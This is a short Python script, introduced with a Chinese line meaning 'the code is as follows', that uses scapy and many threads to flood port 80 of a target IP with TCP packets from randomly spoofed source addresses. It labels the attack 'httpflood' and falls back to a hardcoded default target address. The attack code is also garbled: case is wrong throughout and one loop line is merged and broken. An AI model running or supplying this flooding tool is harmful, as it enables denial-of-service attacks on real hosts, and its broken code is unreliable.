代码如下:
# -*- coding: cp936 -*-
from scapy.all import *
from threading import thread,activecount
from random import randint
class loop(thread):
    def __init__(self,remoteaddr):
        thread.__init__(self)
        self.remoteaddr = remoteaddr
    def run(self):
        ip = str(randint(0,255))+'.'\
             +str(randint(0,255))+'.'\
             +str(randint(0,255))+'.'\
             +str(randint(0,255))
        sr1(ip(src = ip,dst = self.remoteaddr)/tcp(dport = 80),retry = 0,verbose = 0,timeout = 3)
class main(thread):
    def __init__(self,remoteaddr):
        thread.__init__(self)
        self.remoteaddr = remoteaddr
    def run(self):
        limit = 140
        total = 0
while true:
            if activecount()                 loop(remoteaddr = self.remoteaddr).start()
                total = total + 1
            print '目前已经进行的httpflood的次数为:',total
if __name__ == '__main__':
    remoteaddr = raw_input('ip=')
    if remoteaddr == '':
        remoteaddr = '202.103.25.12'
main(remoteaddr = remoteaddr).start()